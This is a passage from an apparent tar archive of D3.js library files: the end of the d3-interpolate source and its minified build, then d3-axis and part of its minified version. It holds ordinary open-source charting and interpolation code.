        v3 = i < n - 1 ? values[i + 2] : 2 * v2 - v1;
    return basis((t - i / n) * n, v0, v1, v2, v3);
  };
}

function basisClosed(values) {
  var n = values.length;
  return function(t) {
    var i = Math.floor(((t %= 1) < 0 ? ++t : t) * n),
        v0 = values[(i + n - 1) % n],
        v1 = values[i % n],
        v2 = values[(i + 1) % n],
        v3 = values[(i + 2) % n];
    return basis((t - i / n) * n, v0, v1, v2, v3);
  };
}

function constant(x) {
  return function() {
    return x;
  };
}

function linear(a, d) {
  return function(t) {
    return a + t * d;
  };
}

function exponential(a, b, y) {
  return a = Math.pow(a, y), b = Math.pow(b, y) - a, y = 1 / y, function(t) {
    return Math.pow(a + t * b, y);
  };
}

function hue(a, b) {
  var d = b - a;
  return d ? linear(a, d > 180 || d < -180 ? d - 360 * Math.round(d / 360) : d) : constant(isNaN(a) ? b : a);
}

function gamma(y) {
  return (y = +y) === 1 ? nogamma : function(a, b) {
    return b - a ? exponential(a, b, y) : constant(isNaN(a) ? b : a);
  };
}

function nogamma(a, b) {
  var d = b - a;
  return d ? linear(a, d) : constant(isNaN(a) ? b : a);
}

var rgb = (function rgbGamma(y) {
  var color = gamma(y);

  function rgb(start, end) {
    var r = color((start = d3Color.rgb(start)).r, (end = d3Color.rgb(end)).r),
        g = color(start.g, end.g),
        b = color(start.b, end.b),
        opacity = nogamma(start.opacity, end.opacity);
    return function(t) {
      start.r = r(t);
      start.g = g(t);
      start.b = b(t);
      start.opacity = opacity(t);
      return start + "";
    };
  }

  rgb.gamma = rgbGamma;

  return rgb;
})(1);

function rgbSpline(spline) {
  return function(colors) {
    var n = colors.length,
        r = new Array(n),
        g = new Array(n),
        b = new Array(n),
        i, color;
    for (i = 0; i < n; ++i) {
      color = d3Color.rgb(colors[i]);
      r[i] = color.r || 0;
      g[i] = color.g || 0;
      b[i] = color.b || 0;
    }
    r = spline(r);
    g = spline(g);
    b = spline(b);
    color.opacity = 1;
    return function(t) {
      color.r = r(t);
      color.g = g(t);
      color.b = b(t);
      return color + "";
    };
  };
}

var rgbBasis = rgbSpline(basis$1);
var rgbBasisClosed = rgbSpline(basisClosed);

function array(a, b) {
  var nb = b ? b.length : 0,
      na = a ? Math.min(nb, a.length) : 0,
      x = new Array(na),
      c = new Array(nb),
      i;

  for (i = 0; i < na; ++i) x[i] = value(a[i], b[i]);
  for (; i < nb; ++i) c[i] = b[i];

  return function(t) {
    for (i = 0; i < na; ++i) c[i] = x[i](t);
    return c;
  };
}

function date(a, b) {
  var d = new Date;
  return a = +a, b -= a, function(t) {
    return d.setTime(a + b * t), d;
  };
}

function number(a, b) {
  return a = +a, b -= a, function(t) {
    return a + b * t;
  };
}

function object(a, b) {
  var i = {},
      c = {},
      k;

  if (a === null || typeof a !== "object") a = {};
  if (b === null || typeof b !== "object") b = {};

  for (k in b) {
    if (k in a) {
      i[k] = value(a[k], b[k]);
    } else {
      c[k] = b[k];
    }
  }

  return function(t) {
    for (k in i) c[k] = i[k](t);
    return c;
  };
}

var reA = /[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g,
    reB = new RegExp(reA.source, "g");

function zero(b) {
  return function() {
    return b;
  };
}

function one(b) {
  return function(t) {
    return b(t) + "";
  };
}

function string(a, b) {
  var bi = reA.lastIndex = reB.lastIndex = 0, // scan index for next number in b
      am, // current match in a
      bm, // current match in b
      bs, // string preceding current number in b, if any
      i = -1, // index in s
      s = [], // string constants and placeholders
      q = []; // number interpolators

  // Coerce inputs to strings.
  a = a + "", b = b + "";

  // Interpolate pairs of numbers in a & b.
  while ((am = reA.exec(a))
      && (bm = reB.exec(b))) {
    if ((bs = bm.index) > bi) { // a string precedes the next number in b
      bs = b.slice(bi, bs);
      if (s[i]) s[i] += bs; // coalesce with previous string
      else s[++i] = bs;
    }
    if ((am = am[0]) === (bm = bm[0])) { // numbers in a & b match
      if (s[i]) s[i] += bm; // coalesce with previous string
      else s[++i] = bm;
    } else { // interpolate non-matching numbers
      s[++i] = null;
      q.push({i: i, x: number(am, bm)});
    }
    bi = reB.lastIndex;
  }

  // Add remains of b.
  if (bi < b.length) {
    bs = b.slice(bi);
    if (s[i]) s[i] += bs; // coalesce with previous string
    else s[++i] = bs;
  }

  // Special optimization for only a single match.
  // Otherwise, interpolate each of the numbers and rejoin the string.
  return s.length < 2 ? (q[0]
      ? one(q[0].x)
      : zero(b))
      : (b = q.length, function(t) {
          for (var i = 0, o; i < b; ++i) s[(o = q[i]).i] = o.x(t);
          return s.join("");
        });
}

function value(a, b) {
  var t = typeof b, c;
  return b == null || t === "boolean" ? constant(b)
      : (t === "number" ? number
      : t === "string" ? ((c = d3Color.color(b)) ? (b = c, rgb) : string)
      : b instanceof d3Color.color ? rgb
      : b instanceof Date ? date
      : Array.isArray(b) ? array
      : typeof b.valueOf !== "function" && typeof b.toString !== "function" || isNaN(b) ? object
      : number)(a, b);
}

function discrete(range) {
  var n = range.length;
  return function(t) {
    return range[Math.max(0, Math.min(n - 1, Math.floor(t * n)))];
  };
}

function hue$1(a, b) {
  var i = hue(+a, +b);
  return function(t) {
    var x = i(t);
    return x - 360 * Math.floor(x / 360);
  };
}

function round(a, b) {
  return a = +a, b -= a, function(t) {
    return Math.round(a + b * t);
  };
}

var degrees = 180 / Math.PI;

var identity = {
  translateX: 0,
  translateY: 0,
  rotate: 0,
  skewX: 0,
  scaleX: 1,
  scaleY: 1
};

function decompose(a, b, c, d, e, f) {
  var scaleX, scaleY, skewX;
  if (scaleX = Math.sqrt(a * a + b * b)) a /= scaleX, b /= scaleX;
  if (skewX = a * c + b * d) c -= a * skewX, d -= b * skewX;
  if (scaleY = Math.sqrt(c * c + d * d)) c /= scaleY, d /= scaleY, skewX /= scaleY;
  if (a * d < b * c) a = -a, b = -b, skewX = -skewX, scaleX = -scaleX;
  return {
    translateX: e,
    translateY: f,
    rotate: Math.atan2(b, a) * degrees,
    skewX: Math.atan(skewX) * degrees,
    scaleX: scaleX,
    scaleY: scaleY
  };
}

var cssNode,
    cssRoot,
    cssView,
    svgNode;

function parseCss(value) {
  if (value === "none") return identity;
  if (!cssNode) cssNode = document.createElement("DIV"), cssRoot = document.documentElement, cssView = document.defaultView;
  cssNode.style.transform = value;
  value = cssView.getComputedStyle(cssRoot.appendChild(cssNode), null).getPropertyValue("transform");
  cssRoot.removeChild(cssNode);
  value = value.slice(7, -1).split(",");
  return decompose(+value[0], +value[1], +value[2], +value[3], +value[4], +value[5]);
}

function parseSvg(value) {
  if (value == null) return identity;
  if (!svgNode) svgNode = document.createElementNS("http://www.w3.org/2000/svg", "g");
  svgNode.setAttribute("transform", value);
  if (!(value = svgNode.transform.baseVal.consolidate())) return identity;
  value = value.matrix;
  return decompose(value.a, value.b, value.c, value.d, value.e, value.f);
}

function interpolateTransform(parse, pxComma, pxParen, degParen) {

  function pop(s) {
    return s.length ? s.pop() + " " : "";
  }

  function translate(xa, ya, xb, yb, s, q) {
    if (xa !== xb || ya !== yb) {
      var i = s.push("translate(", null, pxComma, null, pxParen);
      q.push({i: i - 4, x: number(xa, xb)}, {i: i - 2, x: number(ya, yb)});
    } else if (xb || yb) {
      s.push("translate(" + xb + pxComma + yb + pxParen);
    }
  }

  function rotate(a, b, s, q) {
    if (a !== b) {
      if (a - b > 180) b += 360; else if (b - a > 180) a += 360; // shortest path
      q.push({i: s.push(pop(s) + "rotate(", null, degParen) - 2, x: number(a, b)});
    } else if (b) {
      s.push(pop(s) + "rotate(" + b + degParen);
    }
  }

  function skewX(a, b, s, q) {
    if (a !== b) {
      q.push({i: s.push(pop(s) + "skewX(", null, degParen) - 2, x: number(a, b)});
    } else if (b) {
      s.push(pop(s) + "skewX(" + b + degParen);
    }
  }

  function scale(xa, ya, xb, yb, s, q) {
    if (xa !== xb || ya !== yb) {
      var i = s.push(pop(s) + "scale(", null, ",", null, ")");
      q.push({i: i - 4, x: number(xa, xb)}, {i: i - 2, x: number(ya, yb)});
    } else if (xb !== 1 || yb !== 1) {
      s.push(pop(s) + "scale(" + xb + "," + yb + ")");
    }
  }

  return function(a, b) {
    var s = [], // string constants and placeholders
        q = []; // number interpolators
    a = parse(a), b = parse(b);
    translate(a.translateX, a.translateY, b.translateX, b.translateY, s, q);
    rotate(a.rotate, b.rotate, s, q);
    skewX(a.skewX, b.skewX, s, q);
    scale(a.scaleX, a.scaleY, b.scaleX, b.scaleY, s, q);
    a = b = null; // gc
    return function(t) {
      var i = -1, n = q.length, o;
      while (++i < n) s[(o = q[i]).i] = o.x(t);
      return s.join("");
    };
  };
}

var interpolateTransformCss = interpolateTransform(parseCss, "px, ", "px)", "deg)");
var interpolateTransformSvg = interpolateTransform(parseSvg, ", ", ")", ")");

var rho = Math.SQRT2,
    rho2 = 2,
    rho4 = 4,
    epsilon2 = 1e-12;

function cosh(x) {
  return ((x = Math.exp(x)) + 1 / x) / 2;
}

function sinh(x) {
  return ((x = Math.exp(x)) - 1 / x) / 2;
}

function tanh(x) {
  return ((x = Math.exp(2 * x)) - 1) / (x + 1);
}

// p0 = [ux0, uy0, w0]
// p1 = [ux1, uy1, w1]
function zoom(p0, p1) {
  var ux0 = p0[0], uy0 = p0[1], w0 = p0[2],
      ux1 = p1[0], uy1 = p1[1], w1 = p1[2],
      dx = ux1 - ux0,
      dy = uy1 - uy0,
      d2 = dx * dx + dy * dy,
      i,
      S;

  // Special case for u0 ≅ u1.
  if (d2 < epsilon2) {
    S = Math.log(w1 / w0) / rho;
    i = function(t) {
      return [
        ux0 + t * dx,
        uy0 + t * dy,
        w0 * Math.exp(rho * t * S)
      ];
    };
  }

  // General case.
  else {
    var d1 = Math.sqrt(d2),
        b0 = (w1 * w1 - w0 * w0 + rho4 * d2) / (2 * w0 * rho2 * d1),
        b1 = (w1 * w1 - w0 * w0 - rho4 * d2) / (2 * w1 * rho2 * d1),
        r0 = Math.log(Math.sqrt(b0 * b0 + 1) - b0),
        r1 = Math.log(Math.sqrt(b1 * b1 + 1) - b1);
    S = (r1 - r0) / rho;
    i = function(t) {
      var s = t * S,
          coshr0 = cosh(r0),
          u = w0 / (rho2 * d1) * (coshr0 * tanh(rho * s + r0) - sinh(r0));
      return [
        ux0 + u * dx,
        uy0 + u * dy,
        w0 * coshr0 / cosh(rho * s + r0)
      ];
    };
  }

  i.duration = S * 1000;

  return i;
}

function hsl(hue$$1) {
  return function(start, end) {
    var h = hue$$1((start = d3Color.hsl(start)).h, (end = d3Color.hsl(end)).h),
        s = nogamma(start.s, end.s),
        l = nogamma(start.l, end.l),
        opacity = nogamma(start.opacity, end.opacity);
    return function(t) {
      start.h = h(t);
      start.s = s(t);
      start.l = l(t);
      start.opacity = opacity(t);
      return start + "";
    };
  }
}

var hsl$1 = hsl(hue);
var hslLong = hsl(nogamma);

function lab(start, end) {
  var l = nogamma((start = d3Color.lab(start)).l, (end = d3Color.lab(end)).l),
      a = nogamma(start.a, end.a),
      b = nogamma(start.b, end.b),
      opacity = nogamma(start.opacity, end.opacity);
  return function(t) {
    start.l = l(t);
    start.a = a(t);
    start.b = b(t);
    start.opacity = opacity(t);
    return start + "";
  };
}

function hcl(hue$$1) {
  return function(start, end) {
    var h = hue$$1((start = d3Color.hcl(start)).h, (end = d3Color.hcl(end)).h),
        c = nogamma(start.c, end.c),
        l = nogamma(start.l, end.l),
        opacity = nogamma(start.opacity, end.opacity);
    return function(t) {
      start.h = h(t);
      start.c = c(t);
      start.l = l(t);
      start.opacity = opacity(t);
      return start + "";
    };
  }
}

var hcl$1 = hcl(hue);
var hclLong = hcl(nogamma);

function cubehelix(hue$$1) {
  return (function cubehelixGamma(y) {
    y = +y;

    function cubehelix(start, end) {
      var h = hue$$1((start = d3Color.cubehelix(start)).h, (end = d3Color.cubehelix(end)).h),
          s = nogamma(start.s, end.s),
          l = nogamma(start.l, end.l),
          opacity = nogamma(start.opacity, end.opacity);
      return function(t) {
        start.h = h(t);
        start.s = s(t);
        start.l = l(Math.pow(t, y));
        start.opacity = opacity(t);
        return start + "";
      };
    }

    cubehelix.gamma = cubehelixGamma;

    return cubehelix;
  })(1);
}

var cubehelix$1 = cubehelix(hue);
var cubehelixLong = cubehelix(nogamma);

function piecewise(interpolate, values) {
  var i = 0, n = values.length - 1, v = values[0], I = new Array(n < 0 ? 0 : n);
  while (i < n) I[i] = interpolate(v, v = values[++i]);
  return function(t) {
    var i = Math.max(0, Math.min(n - 1, Math.floor(t *= n)));
    return I[i](t - i);
  };
}

function quantize(interpolator, n) {
  var samples = new Array(n);
  for (var i = 0; i < n; ++i) samples[i] = interpolator(i / (n - 1));
  return samples;
}

exports.interpolate = value;
exports.interpolateArray = array;
exports.interpolateBasis = basis$1;
exports.interpolateBasisClosed = basisClosed;
exports.interpolateDate = date;
exports.interpolateDiscrete = discrete;
exports.interpolateHue = hue$1;
exports.interpolateNumber = number;
exports.interpolateObject = object;
exports.interpolateRound = round;
exports.interpolateString = string;
exports.interpolateTransformCss = interpolateTransformCss;
exports.interpolateTransformSvg = interpolateTransformSvg;
exports.interpolateZoom = zoom;
exports.interpolateRgb = rgb;
exports.interpolateRgbBasis = rgbBasis;
exports.interpolateRgbBasisClosed = rgbBasisClosed;
exports.interpolateHsl = hsl$1;
exports.interpolateHslLong = hslLong;
exports.interpolateLab = lab;
exports.interpolateHcl = hcl$1;
exports.interpolateHclLong = hclLong;
exports.interpolateCubehelix = cubehelix$1;
exports.interpolateCubehelixLong = cubehelixLong;
exports.piecewise = piecewise;
exports.quantize = quantize;

Object.defineProperty(exports, '__esModule', { value: true });

})));
d3-interpolate.min.js000064400000016607151677334320010543 0ustar00// https://d3js.org/d3-interpolate/ v1.3.2 Copyright 2018 Mike Bostock
!function(t,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports,require("d3-color")):"function"==typeof define&&define.amd?define(["exports","d3-color"],n):n(t.d3=t.d3||{},t.d3)}(this,function(t,n){"use strict";function r(t,n,r,e,o){var a=t*t,u=a*t;return((1-3*t+3*a-u)*n+(4-6*a+3*u)*r+(1+3*t+3*a-3*u)*e+u*o)/6}function e(t){var n=t.length-1;return function(e){var o=e<=0?e=0:e>=1?(e=1,n-1):Math.floor(e*n),a=t[o],u=t[o+1],i=o>0?t[o-1]:2*a-u,l=o<n-1?t[o+2]:2*u-a;return r((e-o/n)*n,i,a,u,l)}}function o(t){var n=t.length;return function(e){var o=Math.floor(((e%=1)<0?++e:e)*n),a=t[(o+n-1)%n],u=t[o%n],i=t[(o+1)%n],l=t[(o+2)%n];return r((e-o/n)*n,a,u,i,l)}}function a(t){return function(){return t}}function u(t,n){return function(r){return t+r*n}}function i(t,n){var r=n-t;return r?u(t,r>180||r<-180?r-360*Math.round(r/360):r):a(isNaN(t)?n:t)}function l(t){return 1==(t=+t)?c:function(n,r){return r-n?function(t,n,r){return t=Math.pow(t,r),n=Math.pow(n,r)-t,r=1/r,function(e){return Math.pow(t+e*n,r)}}(n,r,t):a(isNaN(n)?r:n)}}function c(t,n){var r=n-t;return r?u(t,r):a(isNaN(t)?n:t)}var f=function t(r){var e=l(r);function o(t,r){var o=e((t=n.rgb(t)).r,(r=n.rgb(r)).r),a=e(t.g,r.g),u=e(t.b,r.b),i=c(t.opacity,r.opacity);return function(n){return t.r=o(n),t.g=a(n),t.b=u(n),t.opacity=i(n),t+""}}return o.gamma=t,o}(1);function s(t){return function(r){var e,o,a=r.length,u=new Array(a),i=new Array(a),l=new Array(a);for(e=0;e<a;++e)o=n.rgb(r[e]),u[e]=o.r||0,i[e]=o.g||0,l[e]=o.b||0;return u=t(u),i=t(i),l=t(l),o.opacity=1,function(t){return o.r=u(t),o.g=i(t),o.b=l(t),o+""}}}var p=s(e),h=s(o);function v(t,n){var r,e=n?n.length:0,o=t?Math.min(e,t.length):0,a=new Array(o),u=new Array(e);for(r=0;r<o;++r)a[r]=m(t[r],n[r]);for(;r<e;++r)u[r]=n[r];return function(t){for(r=0;r<o;++r)u[r]=a[r](t);return u}}function g(t,n){var r=new Date;return n-=t=+t,function(e){return r.setTime(t+n*e),r}}function d(t,n){return n-=t=+t,function(r){return t+n*r}}function y(t,n){var r,e={},o={};for(r in null!==t&&"object"==typeof t||(t={}),null!==n&&"object"==typeof n||(n={}),n)r in t?e[r]=m(t[r],n[r]):o[r]=n[r];return function(t){for(r in e)o[r]=e[r](t);return o}}var x=/[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g,M=new RegExp(x.source,"g");function b(t,n){var r,e,o,a=x.lastIndex=M.lastIndex=0,u=-1,i=[],l=[];for(t+="",n+="";(r=x.exec(t))&&(e=M.exec(n));)(o=e.index)>a&&(o=n.slice(a,o),i[u]?i[u]+=o:i[++u]=o),(r=r[0])===(e=e[0])?i[u]?i[u]+=e:i[++u]=e:(i[++u]=null,l.push({i:u,x:d(r,e)})),a=M.lastIndex;return a<n.length&&(o=n.slice(a),i[u]?i[u]+=o:i[++u]=o),i.length<2?l[0]?function(t){return function(n){return t(n)+""}}(l[0].x):function(t){return function(){return t}}(n):(n=l.length,function(t){for(var r,e=0;e<n;++e)i[(r=l[e]).i]=r.x(t);return i.join("")})}function m(t,r){var e,o=typeof r;return null==r||"boolean"===o?a(r):("number"===o?d:"string"===o?(e=n.color(r))?(r=e,f):b:r instanceof n.color?f:r instanceof Date?g:Array.isArray(r)?v:"function"!=typeof r.valueOf&&"function"!=typeof r.toString||isNaN(r)?y:d)(t,r)}var w,X,A,N,C=180/Math.PI,Y={translateX:0,translateY:0,rotate:0,skewX:0,scaleX:1,scaleY:1};function j(t,n,r,e,o,a){var u,i,l;return(u=Math.sqrt(t*t+n*n))&&(t/=u,n/=u),(l=t*r+n*e)&&(r-=t*l,e-=n*l),(i=Math.sqrt(r*r+e*e))&&(r/=i,e/=i,l/=i),t*e<n*r&&(t=-t,n=-n,l=-l,u=-u),{translateX:o,translateY:a,rotate:Math.atan2(n,t)*C,skewX:Math.atan(l)*C,scaleX:u,scaleY:i}}function q(t,n,r,e){function o(t){return t.length?t.pop()+" ":""}return function(a,u){var i=[],l=[];return a=t(a),u=t(u),function(t,e,o,a,u,i){if(t!==o||e!==a){var l=u.push("translate(",null,n,null,r);i.push({i:l-4,x:d(t,o)},{i:l-2,x:d(e,a)})}else(o||a)&&u.push("translate("+o+n+a+r)}(a.translateX,a.translateY,u.translateX,u.translateY,i,l),function(t,n,r,a){t!==n?(t-n>180?n+=360:n-t>180&&(t+=360),a.push({i:r.push(o(r)+"rotate(",null,e)-2,x:d(t,n)})):n&&r.push(o(r)+"rotate("+n+e)}(a.rotate,u.rotate,i,l),function(t,n,r,a){t!==n?a.push({i:r.push(o(r)+"skewX(",null,e)-2,x:d(t,n)}):n&&r.push(o(r)+"skewX("+n+e)}(a.skewX,u.skewX,i,l),function(t,n,r,e,a,u){if(t!==r||n!==e){var i=a.push(o(a)+"scale(",null,",",null,")");u.push({i:i-4,x:d(t,r)},{i:i-2,x:d(n,e)})}else 1===r&&1===e||a.push(o(a)+"scale("+r+","+e+")")}(a.scaleX,a.scaleY,u.scaleX,u.scaleY,i,l),a=u=null,function(t){for(var n,r=-1,e=l.length;++r<e;)i[(n=l[r]).i]=n.x(t);return i.join("")}}}var k=q(function(t){return"none"===t?Y:(w||(w=document.createElement("DIV"),X=document.documentElement,A=document.defaultView),w.style.transform=t,t=A.getComputedStyle(X.appendChild(w),null).getPropertyValue("transform"),X.removeChild(w),j(+(t=t.slice(7,-1).split(","))[0],+t[1],+t[2],+t[3],+t[4],+t[5]))},"px, ","px)","deg)"),R=q(function(t){return null==t?Y:(N||(N=document.createElementNS("http://www.w3.org/2000/svg","g")),N.setAttribute("transform",t),(t=N.transform.baseVal.consolidate())?j((t=t.matrix).a,t.b,t.c,t.d,t.e,t.f):Y)},", ",")",")"),S=Math.SQRT2,D=2,E=4,H=1e-12;function I(t){return((t=Math.exp(t))+1/t)/2}function B(t){return function(r,e){var o=t((r=n.hsl(r)).h,(e=n.hsl(e)).h),a=c(r.s,e.s),u=c(r.l,e.l),i=c(r.opacity,e.opacity);return function(t){return r.h=o(t),r.s=a(t),r.l=u(t),r.opacity=i(t),r+""}}}var L=B(i),T=B(c);function V(t){return function(r,e){var o=t((r=n.hcl(r)).h,(e=n.hcl(e)).h),a=c(r.c,e.c),u=c(r.l,e.l),i=c(r.opacity,e.opacity);return function(t){return r.h=o(t),r.c=a(t),r.l=u(t),r.opacity=i(t),r+""}}}var O=V(i),P=V(c);function _(t){return function r(e){function o(r,o){var a=t((r=n.cubehelix(r)).h,(o=n.cubehelix(o)).h),u=c(r.s,o.s),i=c(r.l,o.l),l=c(r.opacity,o.opacity);return function(t){return r.h=a(t),r.s=u(t),r.l=i(Math.pow(t,e)),r.opacity=l(t),r+""}}return e=+e,o.gamma=r,o}(1)}var z=_(i),Q=_(c);t.interpolate=m,t.interpolateArray=v,t.interpolateBasis=e,t.interpolateBasisClosed=o,t.interpolateDate=g,t.interpolateDiscrete=function(t){var n=t.length;return function(r){return t[Math.max(0,Math.min(n-1,Math.floor(r*n)))]}},t.interpolateHue=function(t,n){var r=i(+t,+n);return function(t){var n=r(t);return n-360*Math.floor(n/360)}},t.interpolateNumber=d,t.interpolateObject=y,t.interpolateRound=function(t,n){return n-=t=+t,function(r){return Math.round(t+n*r)}},t.interpolateString=b,t.interpolateTransformCss=k,t.interpolateTransformSvg=R,t.interpolateZoom=function(t,n){var r,e,o=t[0],a=t[1],u=t[2],i=n[0],l=n[1],c=n[2],f=i-o,s=l-a,p=f*f+s*s;if(p<H)e=Math.log(c/u)/S,r=function(t){return[o+t*f,a+t*s,u*Math.exp(S*t*e)]};else{var h=Math.sqrt(p),v=(c*c-u*u+E*p)/(2*u*D*h),g=(c*c-u*u-E*p)/(2*c*D*h),d=Math.log(Math.sqrt(v*v+1)-v),y=Math.log(Math.sqrt(g*g+1)-g);e=(y-d)/S,r=function(t){var n,r=t*e,i=I(d),l=u/(D*h)*(i*(n=S*r+d,((n=Math.exp(2*n))-1)/(n+1))-function(t){return((t=Math.exp(t))-1/t)/2}(d));return[o+l*f,a+l*s,u*i/I(S*r+d)]}}return r.duration=1e3*e,r},t.interpolateRgb=f,t.interpolateRgbBasis=p,t.interpolateRgbBasisClosed=h,t.interpolateHsl=L,t.interpolateHslLong=T,t.interpolateLab=function(t,r){var e=c((t=n.lab(t)).l,(r=n.lab(r)).l),o=c(t.a,r.a),a=c(t.b,r.b),u=c(t.opacity,r.opacity);return function(n){return t.l=e(n),t.a=o(n),t.b=a(n),t.opacity=u(n),t+""}},t.interpolateHcl=O,t.interpolateHclLong=P,t.interpolateCubehelix=z,t.interpolateCubehelixLong=Q,t.piecewise=function(t,n){for(var r=0,e=n.length-1,o=n[0],a=new Array(e<0?0:e);r<e;)a[r]=t(o,o=n[++r]);return function(t){var n=Math.max(0,Math.min(e-1,Math.floor(t*=e)));return a[n](t-n)}},t.quantize=function(t,n){for(var r=new Array(n),e=0;e<n;++e)r[e]=t(e/(n-1));return r},Object.defineProperty(t,"__esModule",{value:!0})});
d3-axis.js000064400000013563151677342300006372 0ustar00// https://d3js.org/d3-axis/ v1.0.12 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
typeof define === 'function' && define.amd ? define(['exports'], factory) :
(factory((global.d3 = global.d3 || {})));
}(this, (function (exports) { 'use strict';

var slice = Array.prototype.slice;

function identity(x) {
  return x;
}

var top = 1,
    right = 2,
    bottom = 3,
    left = 4,
    epsilon = 1e-6;

function translateX(x) {
  return "translate(" + (x + 0.5) + ",0)";
}

function translateY(y) {
  return "translate(0," + (y + 0.5) + ")";
}

function number(scale) {
  return function(d) {
    return +scale(d);
  };
}

function center(scale) {
  var offset = Math.max(0, scale.bandwidth() - 1) / 2; // Adjust for 0.5px offset.
  if (scale.round()) offset = Math.round(offset);
  return function(d) {
    return +scale(d) + offset;
  };
}

function entering() {
  return !this.__axis;
}

function axis(orient, scale) {
  var tickArguments = [],
      tickValues = null,
      tickFormat = null,
      tickSizeInner = 6,
      tickSizeOuter = 6,
      tickPadding = 3,
      k = orient === top || orient === left ? -1 : 1,
      x = orient === left || orient === right ? "x" : "y",
      transform = orient === top || orient === bottom ? translateX : translateY;

  function axis(context) {
    var values = tickValues == null ? (scale.ticks ? scale.ticks.apply(scale, tickArguments) : scale.domain()) : tickValues,
        format = tickFormat == null ? (scale.tickFormat ? scale.tickFormat.apply(scale, tickArguments) : identity) : tickFormat,
        spacing = Math.max(tickSizeInner, 0) + tickPadding,
        range = scale.range(),
        range0 = +range[0] + 0.5,
        range1 = +range[range.length - 1] + 0.5,
        position = (scale.bandwidth ? center : number)(scale.copy()),
        selection = context.selection ? context.selection() : context,
        path = selection.selectAll(".domain").data([null]),
        tick = selection.selectAll(".tick").data(values, scale).order(),
        tickExit = tick.exit(),
        tickEnter = tick.enter().append("g").attr("class", "tick"),
        line = tick.select("line"),
        text = tick.select("text");

    path = path.merge(path.enter().insert("path", ".tick")
        .attr("class", "domain")
        .attr("stroke", "currentColor"));

    tick = tick.merge(tickEnter);

    line = line.merge(tickEnter.append("line")
        .attr("stroke", "currentColor")
        .attr(x + "2", k * tickSizeInner));

    text = text.merge(tickEnter.append("text")
        .attr("fill", "currentColor")
        .attr(x, k * spacing)
        .attr("dy", orient === top ? "0em" : orient === bottom ? "0.71em" : "0.32em"));

    if (context !== selection) {
      path = path.transition(context);
      tick = tick.transition(context);
      line = line.transition(context);
      text = text.transition(context);

      tickExit = tickExit.transition(context)
          .attr("opacity", epsilon)
          .attr("transform", function(d) { return isFinite(d = position(d)) ? transform(d) : this.getAttribute("transform"); });

      tickEnter
          .attr("opacity", epsilon)
          .attr("transform", function(d) { var p = this.parentNode.__axis; return transform(p && isFinite(p = p(d)) ? p : position(d)); });
    }

    tickExit.remove();

    path
        .attr("d", orient === left || orient == right
            ? (tickSizeOuter ? "M" + k * tickSizeOuter + "," + range0 + "H0.5V" + range1 + "H" + k * tickSizeOuter : "M0.5," + range0 + "V" + range1)
            : (tickSizeOuter ? "M" + range0 + "," + k * tickSizeOuter + "V0.5H" + range1 + "V" + k * tickSizeOuter : "M" + range0 + ",0.5H" + range1));

    tick
        .attr("opacity", 1)
        .attr("transform", function(d) { return transform(position(d)); });

    line
        .attr(x + "2", k * tickSizeInner);

    text
        .attr(x, k * spacing)
        .text(format);

    selection.filter(entering)
        .attr("fill", "none")
        .attr("font-size", 10)
        .attr("font-family", "sans-serif")
        .attr("text-anchor", orient === right ? "start" : orient === left ? "end" : "middle");

    selection
        .each(function() { this.__axis = position; });
  }

  axis.scale = function(_) {
    return arguments.length ? (scale = _, axis) : scale;
  };

  axis.ticks = function() {
    return tickArguments = slice.call(arguments), axis;
  };

  axis.tickArguments = function(_) {
    return arguments.length ? (tickArguments = _ == null ? [] : slice.call(_), axis) : tickArguments.slice();
  };

  axis.tickValues = function(_) {
    return arguments.length ? (tickValues = _ == null ? null : slice.call(_), axis) : tickValues && tickValues.slice();
  };

  axis.tickFormat = function(_) {
    return arguments.length ? (tickFormat = _, axis) : tickFormat;
  };

  axis.tickSize = function(_) {
    return arguments.length ? (tickSizeInner = tickSizeOuter = +_, axis) : tickSizeInner;
  };

  axis.tickSizeInner = function(_) {
    return arguments.length ? (tickSizeInner = +_, axis) : tickSizeInner;
  };

  axis.tickSizeOuter = function(_) {
    return arguments.length ? (tickSizeOuter = +_, axis) : tickSizeOuter;
  };

  axis.tickPadding = function(_) {
    return arguments.length ? (tickPadding = +_, axis) : tickPadding;
  };

  return axis;
}

function axisTop(scale) {
  return axis(top, scale);
}

function axisRight(scale) {
  return axis(right, scale);
}

function axisBottom(scale) {
  return axis(bottom, scale);
}

function axisLeft(scale) {
  return axis(left, scale);
}

exports.axisTop = axisTop;
exports.axisRight = axisRight;
exports.axisBottom = axisBottom;
exports.axisLeft = axisLeft;

Object.defineProperty(exports, '__esModule', { value: true });

})));
d3-axis.min.js000064400000005653151677342300007155 0ustar00// https://d3js.org/d3-axis/ v1.0.12 Copyright 2018 Mike Bostock
!function(t,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports):"function"==typeof define&&define.amd?define(["exports"],n):n(t.d3=t.d3||{})}(this,function(t){"use strict";var n=Array.prototype.slice;function r(t){return t}var e=1,i=2,a=3,o=4,u=1e-6;function c(t){return"translate("+(t+.5)+",0)"}function l(t){return"translate(0,"+(t+.5)+")"}function s(){return!this.__axis}function f(t,f){var d=[],m=null,p=null,h=6,g=6,x=3,k=t===e||t===o?-1:1,y=t===o||t===i?"x":"y",v=t===e||t===a?c:l;function M(n){var c=null==m?f.ticks?f.ticks.apply(f,d):f.domain():m,l=null==p?f.tickFormat?f.tickFormat.apply(f,d):r:p,M=Math.max(h,0)+x,_=f.range(),b=+_[0]+.5,A=+_[_.length-1]+.5,F=(f.bandwidth?function(t){var n=Math.max(0,t.bandwidth()-1)/2;return t.round()&&(n=Math.round(n)),function(r){return+t(r)+n}}:function(t){return function(n){return+t(n)}})(f.copy()),V=n.selection?n.selection():n,z=V.selectAll(".domain").data([null]),H=V.selectAll(".tick").data(c,f).order(),C=H.exit(),S=H.enter().append("g").attr("class","tick"),j=H.select("line"),w=H.select("text");z=z.merge(z.enter().insert("path",".tick").attr("class","domain").attr("stroke","currentColor")),H=H.merge(S),j=j.merge(S.append("line").attr("stroke","currentColor").attr(y+"2",k*h)),w=w.merge(S.append("text").attr("fill","currentColor").attr(y,k*M).attr("dy",t===e?"0em":t===a?"0.71em":"0.32em")),n!==V&&(z=z.transition(n),H=H.transition(n),j=j.transition(n),w=w.transition(n),C=C.transition(n).attr("opacity",u).attr("transform",function(t){return 